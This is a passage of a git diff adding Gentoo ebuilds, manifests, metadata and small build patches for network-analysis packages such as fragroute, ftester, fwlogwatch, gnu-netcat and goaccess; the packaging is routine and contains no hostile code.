diff --git a/net-analyzer/fprobe/metadata.xml b/net-analyzer/fprobe/metadata.xml
new file mode 100644
index 000000000000..8cbeac76773d
--- /dev/null
+++ b/net-analyzer/fprobe/metadata.xml
@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <use>
+ <flag name="messages">enable console messages</flag>
+ </use>
+ <upstream>
+ <remote-id type="sourceforge">fprobe</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/fragroute/Manifest b/net-analyzer/fragroute/Manifest
new file mode 100644
index 000000000000..5376c2d7cb6e
--- /dev/null
+++ b/net-analyzer/fragroute/Manifest
@@ -0,0 +1 @@
+DIST fragroute-1.2.6-ipv6.tar.gz 163309 SHA256 f1e4217120a1c557408182a64033892a6ab7515abd1b46d8b10d6de76431f53d SHA512 76c6fbe37100a43df477f0ba455a2bed6ac53c1f369e147d220562a34eca0eb273171e4b9ff4f3fc473c3f99a8344f6d49963c20d7cfaf6879200322a491ffc3 WHIRLPOOL 9d321c54d9100530fc93420d764b88adc037ee99c15d0f93f9d557faabf1d5ea929a184139962b55aff922684e04a7139c313c8eedf6e882880897b9b660967f
diff --git a/net-analyzer/fragroute/fragroute-1.2.6.ebuild b/net-analyzer/fragroute/fragroute-1.2.6.ebuild
new file mode 100644
index 000000000000..108a90a41d07
--- /dev/null
+++ b/net-analyzer/fragroute/fragroute-1.2.6.ebuild
@@ -0,0 +1,48 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+AUTOTOOLS_AUTORECONF=1
+AUTOTOOLS_IN_SOURCE_BUILD=1
+MY_P="${P}-ipv6"
+
+inherit autotools-utils
+
+DESCRIPTION="Testing of network intrusion detection systems, firewalls and TCP/IP stacks"
+HOMEPAGE="http://code.google.com/p/fragroute-ipv6/"
+SRC_URI="http://fragroute-ipv6.googlecode.com/files/${MY_P}.tar.gz"
+
+LICENSE="BSD"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~ppc64 x86"
+
+RDEPEND="
+ dev-libs/libevent
+ net-libs/libpcap
+ >=dev-libs/libdnet-1.12[ipv6]
+"
+DEPEND="${RDEPEND}
+ virtual/awk"
+
+S="${WORKDIR}/${MY_P}"
+
+DOCS=( INSTALL README TODO )
+
+src_prepare() {
+ # Remove broken and old files, autotools will regen needed files
+ rm *.m4 acconfig.h missing Makefile.in || die
+ # Add missing includes
+ sed -i -e "/#define IPUTIL_H/a#include <stdio.h>\n#include <stdint.h>" iputil.h || die
+ autotools-utils_src_prepare
+}
+
+src_configure() {
+ local myeconfargs=(
+ --with-libevent="${EPREFIX}"/usr \
+ --with-libdnet="${EPREFIX}"/usr \
+ --with-libpcap="${EPREFIX}"/usr
+ )
+ autotools-utils_src_configure
+}
diff --git a/net-analyzer/fragroute/metadata.xml b/net-analyzer/fragroute/metadata.xml
new file mode 100644
index 000000000000..78692635ad22
--- /dev/null
+++ b/net-analyzer/fragroute/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/ftester/Manifest b/net-analyzer/ftester/Manifest
new file mode 100644
index 000000000000..3110b82156b5
--- /dev/null
+++ b/net-analyzer/ftester/Manifest
@@ -0,0 +1 @@
+DIST ftester-1.0.tar.gz 30821 SHA256 7bb10d10913187e33af8be3d17c0d4ad5d0b8aa5af18242332787150eabd2f6f SHA512 413929178489c755fb5c876a88510bea28c59f1942a279c332fcd008ecbf4b0fd47e6b15abe1068c134d14c9ab2bdb841ffa280f95f77a819779e7e9626e9cfb WHIRLPOOL 19ca3b259e7301fea7c2399c6d51b948bd2802fc3170333cb25c6cb43306267e6c959989984c0530ebd9c28c367241e7b77cfe26d74f063a47a44dc9a2802b24
diff --git a/net-analyzer/ftester/ftester-1.0.ebuild b/net-analyzer/ftester/ftester-1.0.ebuild
new file mode 100644
index 000000000000..968b4915611f
--- /dev/null
+++ b/net-analyzer/ftester/ftester-1.0.ebuild
@@ -0,0 +1,27 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+DESCRIPTION="Firewall and Intrusion Detection System testing tool"
+HOMEPAGE="http://dev.inversepath.com/trac/ftester"
+SRC_URI="http://dev.inversepath.com/${PN}/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ppc x86"
+
+RDEPEND="
+ dev-perl/List-MoreUtils
+ dev-perl/Net-Pcap
+ dev-perl/Net-PcapUtils
+ dev-perl/Net-RawIP
+ dev-perl/NetPacket
+"
+
+src_install() {
+ dodoc CREDITS Changelog ftest.conf
+ doman ${PN}.8
+ dosbin ftestd ftest freport
+}
diff --git a/net-analyzer/ftester/metadata.xml b/net-analyzer/ftester/metadata.xml
new file mode 100644
index 000000000000..e88d7a7ee81d
--- /dev/null
+++ b/net-analyzer/ftester/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <longdescription>
+ Ftester - Firewall and Intrusion Detection System testing tool
+ </longdescription>
+</pkgmetadata>
diff --git a/net-analyzer/fwlogwatch/Manifest b/net-analyzer/fwlogwatch/Manifest
new file mode 100644
index 000000000000..a1529b7ad61e
--- /dev/null
+++ b/net-analyzer/fwlogwatch/Manifest
@@ -0,0 +1 @@
+DIST fwlogwatch-1.4.tar.bz2 92652 SHA256 0ca67b2f2a36e4f79ac202018d5440809d50a1cb7203e2a02818f2aade112e9a SHA512 0a67c0ae8b096fdf7a06e279a11b0bc71f2d514790c1669f60606b17a7f3f3ec97dedc2005438ce0ec82efcd66a822b62dbb36603f4b02e010f469fb885b87e6 WHIRLPOOL 7dc01a46be44733cab6f69525f704f4ed86802112bfff284480df4d9151174e6d0bb03a6cc7349a77b7c32b6d312dea582627c0e7b71cad4e36073fda46057f9
diff --git a/net-analyzer/fwlogwatch/fwlogwatch-1.4.ebuild b/net-analyzer/fwlogwatch/fwlogwatch-1.4.ebuild
new file mode 100644
index 000000000000..97901599e1aa
--- /dev/null
+++ b/net-analyzer/fwlogwatch/fwlogwatch-1.4.ebuild
@@ -0,0 +1,87 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit eutils flag-o-matic toolchain-funcs
+
+DESCRIPTION="A packet filter and firewall log analyzer"
+HOMEPAGE="http://fwlogwatch.inside-security.de/"
+SRC_URI="${HOMEPAGE}sw/${P}.tar.bz2"
+
+KEYWORDS="amd64 ~ppc sparc x86"
+LICENSE="GPL-1"
+SLOT="0"
+IUSE="nls zlib"
+
+RDEPEND="
+ zlib? ( sys-libs/zlib )
+"
+DEPEND="
+ ${RDEPEND}
+ sys-devel/flex
+ nls? ( sys-devel/gettext )
+"
+
+src_prepare() {
+ if use nls; then
+ strip-linguas -i po/
+ local lingua pofile
+ for pofile in po/*.po; do
+ lingua=${pofile/po\/}
+ lingua=${lingua/.po}
+ if ! has ${lingua} ${LINGUAS}; then
+ sed -i \
+ -e "/${lingua}.[mp]o/d" \
+ Makefile po/Makefile || die
+ fi
+ done
+ fi
+
+ sed -i \
+ -e '/^INSTALL_/s|$| -D|g' \
+ -e 's|make|$(MAKE)|g ' \
+ Makefile || die
+}
+
+src_configure() {
+ if ! use zlib; then
+ sed -i Makefile -e '/^LIBS/ s|-lz||g' || die
+ else
+ append-cflags -DHAVE_ZLIB
+ fi
+
+ use nls && append-cflags -DHAVE_GETTEXT
+}
+
+src_compile() {
+ emake \
+ CC=$(tc-getCC) \
+ CFLAGS="${CFLAGS}" \
+ LDFLAGS="${LDFLAGS}"
+ use nls && emake -C po
+}
+
+src_install() {
+ emake \
+ LOCALE_DIR="${D}/usr" INSTALL_DIR="${D}/usr" \
+ install
+ use nls && emake \
+ LOCALE_DIR="${D}/usr" INSTALL_DIR="${D}/usr" \
+ install-i18n
+
+ dosbin contrib/fwlw_notify
+ dosbin contrib/fwlw_respond
+
+ dodoc AUTHORS ChangeLog CREDITS README
+
+ insinto /usr/share/fwlogwatch/contrib
+
+ doins contrib/fwlogsummary.cgi
+ doins contrib/fwlogsummary_small.cgi
+ doins contrib/fwlogwatch.php
+
+ insinto /etc
+ doins fwlogwatch.config
+}
diff --git a/net-analyzer/fwlogwatch/metadata.xml b/net-analyzer/fwlogwatch/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/fwlogwatch/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/gensink/Manifest b/net-analyzer/gensink/Manifest
new file mode 100644
index 000000000000..97a6fa5dd7a5
--- /dev/null
+++ b/net-analyzer/gensink/Manifest
@@ -0,0 +1 @@
+DIST gensink-4.1.tar.gz 12352 SHA256 daacdb8f2a609c910eb7eac86dd0fe56e0a97105749b73f2850e44982d2200a4 SHA512 5572c4df9b3c688f6a0f33c539bcdbd3c7b2a0992ba560907e0d22440176380cb6888732ab11ef4d6ced0c2d906ab494895a65c00a64db8603cbd1245d9c0d27 WHIRLPOOL e5dedca136818d006267c56d72cf145a7911ee486c42afc1131f9526f8d3b9c23d2e0004b4e0f9056b803fbcb35d6dc1c4b54efc33eaa2c68080d39a8ba0f417
diff --git a/net-analyzer/gensink/files/gensink-4.1-make.patch b/net-analyzer/gensink/files/gensink-4.1-make.patch
new file mode 100644
index 000000000000..103043f79ae1
--- /dev/null
+++ b/net-analyzer/gensink/files/gensink-4.1-make.patch
@@ -0,0 +1,10 @@
+--- a/Makefile
++++ b/Makefile
+@@ -1,7 +1,4 @@
+ PROGS = gen4 sink4 tub4
+-CC = gcc
+-CFLAGS = -O2 -g -Wall
+-LDFLAGS = -O -g
+
+ all: $(PROGS)
+
diff --git a/net-analyzer/gensink/gensink-4.1-r2.ebuild b/net-analyzer/gensink/gensink-4.1-r2.ebuild
new file mode 100644
index 000000000000..e59a69f134e4
--- /dev/null
+++ b/net-analyzer/gensink/gensink-4.1-r2.ebuild
@@ -0,0 +1,24 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit base toolchain-funcs
+
+DESCRIPTION="A simple TCP benchmark suite"
+HOMEPAGE="http://jes.home.cern.ch/jes/gensink/"
+SRC_URI="http://jes.home.cern.ch/jes/gensink/${P}.tar.gz"
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc x86"
+
+PATCHES=( "${FILESDIR}/${P}-make.patch" )
+
+src_compile() {
+ tc-export CC
+ default
+}
+src_install() {
+ dobin sink4 tub4 gen4
+}
diff --git a/net-analyzer/gensink/metadata.xml b/net-analyzer/gensink/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/gensink/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/gnome-nettool/Manifest b/net-analyzer/gnome-nettool/Manifest
new file mode 100644
index 000000000000..1195a0c52283
--- /dev/null
+++ b/net-analyzer/gnome-nettool/Manifest
@@ -0,0 +1 @@
+DIST gnome-nettool-3.8.1.tar.xz 589024 SHA256 f0a4510d9fe5eae4c91b63ade9848992b2795108e76eff7f51dc3decf7df2cb1 SHA512 c1c90fa727ebbf21442c4d0f5f4e98acf91fdd68a476f5f378167f92c3d7938ef33598525b62b838dc9b485abeb40171bdffb0fe3cb060fd3982db013a30bbed WHIRLPOOL fe63ac5972b04046b97bdc33a31461f939dff5bd71d1f3b9b76bbd0bc2925a6622b0a938de28b7769f1877a69ccfb77b17c71df12b86edf669e8b32dd9125560
diff --git a/net-analyzer/gnome-nettool/gnome-nettool-3.8.1.ebuild b/net-analyzer/gnome-nettool/gnome-nettool-3.8.1.ebuild
new file mode 100644
index 000000000000..51528d0f85fe
--- /dev/null
+++ b/net-analyzer/gnome-nettool/gnome-nettool-3.8.1.ebuild
@@ -0,0 +1,46 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="5"
+GCONF_DEBUG="yes"
+
+inherit eutils gnome2
+
+DESCRIPTION="Graphical front-ends to various networking command-line"
+HOMEPAGE="https://git.gnome.org/browse/gnome-nettool/"
+
+LICENSE="GPL-2"
+SLOT="0"
+IUSE="debug"
+KEYWORDS="~alpha amd64 ~arm ~ia64 ~ppc ~ppc64 ~sparc x86 ~x86-fbsd"
+
+COMMON_DEPEND="
+ >=dev-libs/glib-2.25.10:2
+ gnome-base/libgtop:2=
+ x11-libs/cairo
+ x11-libs/gdk-pixbuf:2
+ >=x11-libs/gtk+-2.90.4:3
+ x11-libs/pango
+"
+RDEPEND="${COMMON_DEPEND}
+ || (
+ net-misc/iputils
+ net-analyzer/tcptraceroute
+ net-analyzer/traceroute
+ sys-freebsd/freebsd-usbin )
+ net-analyzer/nmap
+ net-dns/bind-tools
+ userland_GNU? ( net-misc/netkit-fingerd net-misc/whois )
+ userland_BSD? ( net-misc/bsdwhois )
+"
+DEPEND="${COMMON_DEPEND}
+ app-text/yelp-tools
+ >=dev-util/intltool-0.40
+ virtual/pkgconfig
+ sys-devel/gettext
+"
+
+src_configure() {
+ gnome2_src_configure $(use_enable debug)
+}
diff --git a/net-analyzer/gnome-nettool/metadata.xml b/net-analyzer/gnome-nettool/metadata.xml
new file mode 100644
index 000000000000..da6fd63d0085
--- /dev/null
+++ b/net-analyzer/gnome-nettool/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>gnome</herd>
+</pkgmetadata>
diff --git a/net-analyzer/gnu-netcat/Manifest b/net-analyzer/gnu-netcat/Manifest
new file mode 100644
index 000000000000..9f7878914027
--- /dev/null
+++ b/net-analyzer/gnu-netcat/Manifest
@@ -0,0 +1 @@
+DIST netcat-0.7.1.tar.bz2 325687 SHA256 b55af0bbdf5acc02d1eb6ab18da2acd77a400bafd074489003f3df09676332bb SHA512 283c02f849c3bb62615a5ccb7796192804dafcecb34f3c6b553cbc12c715654963b81e253762923c6069be9768b93dde576a392b89b167912c323354f1376e83 WHIRLPOOL bef83a28f1b8a09e9e167b98c91a163b9977245650749f583563a3864f820d498169618558f6d75b60db81e3dee512f2b51bdc561aaa3ca170e8f87616cd4057
diff --git a/net-analyzer/gnu-netcat/files/gnu-netcat-LC_CTYPE.patch b/net-analyzer/gnu-netcat/files/gnu-netcat-LC_CTYPE.patch
new file mode 100644
index 000000000000..1c67f92e6c2a
--- /dev/null
+++ b/net-analyzer/gnu-netcat/files/gnu-netcat-LC_CTYPE.patch
@@ -0,0 +1,19 @@
+In russian locale, netcat error messages display as '???????'
+
+Need to set LC_CTYPE along with LC_MESSAGES to correctly display messages in
+locales other then C/POSIX
+Required for correct i18n support in glibc.
+
+(bug #200875 by Михаил)
+
+
+--- a/src/netcat.c
++++ b/src/netcat.c
+@@ -157,6 +157,7 @@
+ connect_sock.domain = PF_INET;
+
+ #ifdef ENABLE_NLS
++ setlocale(LC_CTYPE, "");
+ setlocale(LC_MESSAGES, "");
+ bindtextdomain(PACKAGE, LOCALEDIR);
+ textdomain(PACKAGE);
diff --git a/net-analyzer/gnu-netcat/files/gnu-netcat-close.patch b/net-analyzer/gnu-netcat/files/gnu-netcat-close.patch
new file mode 100644
index 000000000000..eb1862d1fd52
--- /dev/null
+++ b/net-analyzer/gnu-netcat/files/gnu-netcat-close.patch
@@ -0,0 +1,16 @@
+--- a/doc/netcat.1
++++ b/doc/netcat.1
+@@ -256,6 +256,13 @@
+ source address for the connecting socket.
+ .Sh "Advanced Options"
+ .IX Subsection "Advanced Options"
++.IP "\fB\-c" 4
++.IX Item "-c"
++.PD 0
++.IP "\fB\-\-close" 4
++.IX Item "--close"
++.PD
++closes connection on EOF from stdin.
+ .IP "\fB\-i \s-1SECS\s0\fR" 4
+ .IX Item "-i SECS"
+ .PD 0
diff --git a/net-analyzer/gnu-netcat/files/gnu-netcat-flagcount.patch b/net-analyzer/gnu-netcat/files/gnu-netcat-flagcount.patch
new file mode 100644
index 000000000000..765212cb0e99
--- /dev/null
+++ b/net-analyzer/gnu-netcat/files/gnu-netcat-flagcount.patch
@@ -0,0 +1,22 @@
+--- a/src/flagset.c
++++ b/src/flagset.c
+@@ -134,7 +134,7 @@
+
+ int netcat_flag_count(void)
+ {
+- register char c;
++ register unsigned char c;
+ register int i;
+ int ret = 0;
+
+@@ -154,8 +154,8 @@
+ Assumed that the bit number 1 is the sign, and that we will shift the
+ bit 1 (or the bit that takes its place later) until the the most right,
+ WHY it has to keep the wrong sign? */
+- ret -= (c >> 7);
+- c <<= 1;
++ ret += (c & 1);
++ c >>= 1;
+ }
+ }
+
diff --git a/net-analyzer/gnu-netcat/gnu-netcat-0.7.1-r3.ebuild b/net-analyzer/gnu-netcat/gnu-netcat-0.7.1-r3.ebuild
new file mode 100644
index 000000000000..9c5727906c08
--- /dev/null
+++ b/net-analyzer/gnu-netcat/gnu-netcat-0.7.1-r3.ebuild
@@ -0,0 +1,37 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit eutils flag-o-matic
+
+DESCRIPTION="the GNU network swiss army knife"
+HOMEPAGE="http://netcat.sourceforge.net/"
+SRC_URI="mirror://sourceforge/netcat/netcat-${PV}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="alpha amd64 arm ~hppa ppc sparc x86 ~x86-fbsd ~amd64-linux ~arm-linux ~x86-linux ~ppc-macos ~x86-macos ~sparc-solaris ~x64-solaris ~x86-solaris"
+IUSE="debug nls"
+
+S=${WORKDIR}/netcat-${PV}
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${PN}-flagcount.patch \
+ "${FILESDIR}"/${PN}-close.patch \
+ "${FILESDIR}"/${PN}-LC_CTYPE.patch
+}
+
+src_configure() {
+ use debug && append-flags -DDEBUG
+ econf $(use_enable nls)
+}
+
+DOCS=( AUTHORS ChangeLog NEWS README TODO )
+
+src_install() {
+ default
+ rm "${ED}"usr/bin/nc
+}
diff --git a/net-analyzer/gnu-netcat/metadata.xml b/net-analyzer/gnu-netcat/metadata.xml
new file mode 100644
index 000000000000..6c3bd911c6ba
--- /dev/null
+++ b/net-analyzer/gnu-netcat/metadata.xml
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <longdescription>the GNU network swiss army knife</longdescription>
+ <upstream>
+ <remote-id type="sourceforge">netcat</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/goaccess/Manifest b/net-analyzer/goaccess/Manifest
new file mode 100644
index 000000000000..703d84ed0cd9
--- /dev/null
+++ b/net-analyzer/goaccess/Manifest
@@ -0,0 +1,4 @@
+DIST goaccess-0.5.tar.gz 127068 SHA256 beabad8267099d693cf2f0a6f533ecf5b5bdcc829b4536ec56b4a68b2c7d5e0e SHA512 24c59efca896e24f89aae5f12391398b8649822a5e07ee035a1c265a8987d1ba493155db12b7189c9d637891c81da6414919c9f9f6795831234810f021bb3999 WHIRLPOOL 0f49750053c64ec3395a5e56dadd27a271a45709a45dbe6051182d5153a820edf0548d6b21d05636dd96a0df5769b45dc0e55f007a5bdbe7485ce49940b3a941
+DIST goaccess-0.6.1.tar.gz 150264 SHA256 f414664769c884cdda33c92e6df1069fb8a1750d19955122b3f030614d414afa SHA512 67712e4af16c6e039ca46f6f8d8302a58be1e0cfd0c76930068c03a9989c35b58b61f7b1e6a9e79cbb978c8f492b80782b8c7b894abc2e067f0a520e2981f98b WHIRLPOOL efa017b3951a7cbb80a041a63eef8cf13035be62d92be7da3df55a5ee7bc4d4b10e570023d488fad993a96c0da9c7bdb122009cf1e52e9c9e6a112e6e10c3420
+DIST goaccess-0.8.5.tar.gz 189006 SHA256 a4c6b6b98875059409b2a7528d5e7662536591b1949461cb03d88ea1360c3a88 SHA512 736ae69d0c3bbbaf1d06b287c2d600aae1a72255361c9bb40d1c74986932a771c2b401126e75f22ad4be72f6dc053efd262c40ad40cd62efc57c4461d5481c63 WHIRLPOOL fc2328e558135ca277f8ab52a922a726b3994c47f41fdff2a3110197c4430cb2fd928928d2fba124825a8a127b03ac8551799b0d16b9b2d655ec8a324af56216
+DIST goaccess-0.9.tar.gz 213119 SHA256 49d8ec4ca2b2ff2e848f278c6eed4a541082cfbf781540140ca16d58735f27fa SHA512 c25703fa31dd673bdb3463e3c5055ba3452f1fdb452c63114663d9dfb28b95ddb4cd89b03fd4a9fdbabd0efebc2e3ab35238fd15bc46727f794d04ba77fc072c WHIRLPOOL 58b95d5b8a60b49afb423b85040acb2a163452cd21c65a7f44f2c35e53017b28461089fea7edf5f45dc8169f4d92b21bc62d958d9b66d518d2739a5f7d867855
diff --git a/net-analyzer/goaccess/files/goaccess-0.6.1-CFLAGS.patch b/net-analyzer/goaccess/files/goaccess-0.6.1-CFLAGS.patch
new file mode 100644
index 000000000000..909b38f5730b
--- /dev/null
+++ b/net-analyzer/goaccess/files/goaccess-0.6.1-CFLAGS.patch
@@ -0,0 +1,10 @@
+--- a/Makefile.am
++++ b/Makefile.am
+@@ -2,6 +2,6 @@
+ bin_PROGRAMS = goaccess
+ goaccess_SOURCES = output.c output.h settings.c settings.h error.c error.h xmalloc.c xmalloc.h commons.c commons.h goaccess.c parser.c parser.h ui.c ui.h util.c util.h gdashboard.c gdashboard.h gdns.c gdns.h gmenu.c gmenu.h goaccess.h
+
+-AM_CFLAGS = -g -Wall @GLIB2_CFLAGS@
++AM_CFLAGS = -Wall @GLIB2_CFLAGS@
+ goaccess_LDADD = -lm
+ dist_man_MANS = goaccess.1
diff --git a/net-analyzer/goaccess/files/goaccess-0.6.1-tinfo.patch b/net-analyzer/goaccess/files/goaccess-0.6.1-tinfo.patch
new file mode 100644
index 000000000000..76d6cbcbcf71
--- /dev/null
+++ b/net-analyzer/goaccess/files/goaccess-0.6.1-tinfo.patch
@@ -0,0 +1,32 @@
+--- a/configure.ac
++++ b/configure.ac
+@@ -19,22 +19,20 @@
+ AC_ARG_ENABLE(geoip,--enable-geoip Enable GeoIP country lookup, USE_GEOIP="yes")
+ AC_ARG_ENABLE(utf8,--enable-utf8 Enable UTF-8 support for wide characters, USE_UTF8="yes")
+
+-if test "$USE_GEOIP" = "yes"; then
+- AC_CHECK_LIB([GeoIP], [GeoIP_new], [], [AC_MSG_ERROR([libgeoip-dev is missing])])
+- CFLAGS="-lGeoIP"
++if test x"$USE_GEOIP" = "xyes"; then
++ AC_CHECK_LIB([GeoIP], [GeoIP_new], , [AC_MSG_ERROR([libgeoip-dev is missing])])
+ fi
+
+-if test "$USE_UTF8" = "yes"; then
+- AC_CHECK_LIB([ncursesw], [mvaddwstr], [], [AC_MSG_ERROR([libncursesw5-dev is missing])])
+- CFLAGS="-lncursesw"
++if test x"$USE_UTF8" = "xyes"; then
++ AC_CHECK_LIB([ncursesw], [mvaddwstr], , [AC_MSG_ERROR([libncursesw5-dev is missing])])
++ AC_SEARCH_LIBS([stdscr], [tinfow], ,[AC_MSG_ERROR([Cannot find a library providing stdscr])])
+ else
+- AC_CHECK_LIB([ncurses], [refresh], [], [AC_MSG_ERROR([libncurses5-dev is missing])])
+- CFLAGS="-lncurses"
++ AC_CHECK_LIB([ncurses], [refresh], , [AC_MSG_ERROR([libncurses5-dev is missing])])
++ AC_SEARCH_LIBS([stdscr], [tinfo], ,[AC_MSG_ERROR([Cannot find a library providing stdscr])])
+ fi
+
+ # pthread
+ AC_CHECK_LIB([pthread], [pthread_create], [], [AC_MSG_ERROR([pthread is missing])])
+-CFLAGS="-pthread"
+
+ # Checks for libraries.
+ AC_CHECK_LIB([glib-2.0], [g_free], [], [AC_MSG_ERROR([glib-2.x is missing])])
diff --git a/net-analyzer/goaccess/goaccess-0.5-r1.ebuild b/net-analyzer/goaccess/goaccess-0.5-r1.ebuild
new file mode 100644
index 000000000000..c650fbc52896
--- /dev/null
+++ b/net-analyzer/goaccess/goaccess-0.5-r1.ebuild
@@ -0,0 +1,45 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+AUTOTOOLS_AUTORECONF=1
+inherit autotools-utils
+
+DESCRIPTION="A real-time Apache log analyzer and interactive viewer that runs in a terminal"
+HOMEPAGE="http://goaccess.prosoftcorp.com"
+SRC_URI="mirror://sourceforge/${PN}/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86 ~amd64-linux"
+IUSE="geoip unicode"
+
+RDEPEND="
+ dev-libs/glib:2
+ sys-libs/ncurses[unicode?]
+ geoip? ( dev-libs/geoip )
+"
+DEPEND="${RDEPEND}
+ virtual/pkgconfig
+"
+
+src_prepare() {
+ # respect CFLAGS, bug #451806
+ sed -i -e '/AM_CFLAGS/s/-g//' Makefile.am || die 'sed failed'
+ autotools-utils_src_prepare
+}
+
+src_configure() {
+ # configure does not properly recognise '--disable-something'
+ local myeconfargs=(
+ $(usex geoip '--enable-geoip' '' '' '')
+ $(usex unicode '--enable-utf8' '' '' '')
+ )
+ autotools-utils_src_configure
+}
+
+src_compile() {
+ autotools-utils_src_compile CFLAGS="${CFLAGS}"
+}
diff --git a/net-analyzer/goaccess/goaccess-0.6.1.ebuild b/net-analyzer/goaccess/goaccess-0.6.1.ebuild
new file mode 100644
index 000000000000..58d2202d7893
--- /dev/null
+++ b/net-analyzer/goaccess/goaccess-0.6.1.ebuild
@@ -0,0 +1,44 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+AUTOTOOLS_AUTORECONF=1
+inherit autotools-utils
+
+DESCRIPTION="A real-time Apache log analyzer and interactive viewer that runs in a terminal"
+HOMEPAGE="http://goaccess.prosoftcorp.com"
+SRC_URI="mirror://sourceforge/${PN}/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86 ~amd64-linux"
+IUSE="geoip unicode"
+
+RDEPEND="
+ dev-libs/glib:2
+ sys-libs/ncurses[unicode?]
+ geoip? ( dev-libs/geoip )
+"
+DEPEND="${RDEPEND}
+ virtual/pkgconfig
+"
+
+PATCHES=(
+ "${FILESDIR}"/${P}-CFLAGS.patch
+ "${FILESDIR}"/${P}-tinfo.patch
+)
+
+src_configure() {
+ # configure does not properly recognise '--disable-something'
+ local myeconfargs=(
+ $(usex geoip '--enable-geoip' '' '' '')
+ $(usex unicode '--enable-utf8' '' '' '')
+ )
+ autotools-utils_src_configure
+}
+
+src_compile() {
+ autotools-utils_src_compile CFLAGS="${CFLAGS}"
+}
diff --git a/net-analyzer/goaccess/goaccess-0.8.5.ebuild b/net-analyzer/goaccess/goaccess-0.8.5.ebuild
new file mode 100644
index 000000000000..4cbfbfd74634
--- /dev/null
+++ b/net-analyzer/goaccess/goaccess-0.8.5.ebuild
@@ -0,0 +1,48 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="5"
+
+inherit eutils
+
+DESCRIPTION="A real-time web log analyzer and interactive viewer that runs in a terminal"
+HOMEPAGE="http://goaccess.io"
+SRC_URI="http://tar.goaccess.io/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86 ~amd64-linux"
+
+IUSE="btree debug geoip bzip2 memhash unicode zlib"
+
+REQUIRED_USE="btree? ( !memhash )"
+
+RDEPEND="
+ dev-libs/glib:2
+ sys-libs/ncurses[unicode?]
+ geoip? ( dev-libs/geoip )
+ btree? ( dev-db/tokyocabinet )
+ memhash? ( dev-db/tokyocabinet )
+ zlib? ( sys-libs/zlib )
+ bzip2? ( app-arch/bzip2 )"
+DEPEND="${RDEPEND}
+ virtual/pkgconfig"
+
+src_prepare() {
+ # Fix path to GeoIP bases in config
+ sed -e s':/usr/local:/usr:' -i config/goaccess.conf || die
+}
+
+src_configure() {
+ econf \
+ $(use_enable debug) \
+ $(use_enable geoip) \
+ $(use_enable bzip2 bzip) \
+ $(use_enable unicode utf8) \
+ $(use_enable zlib) \
+ $(use memhash && echo "--enable-tcb=memhash") \
+ $(use btree && echo "--enable-tcb=btree")
+
+ epatch_user
+}
diff --git a/net-analyzer/goaccess/goaccess-0.9.ebuild b/net-analyzer/goaccess/goaccess-0.9.ebuild
new file mode 100644
index 000000000000..ea4dafed9d00
--- /dev/null
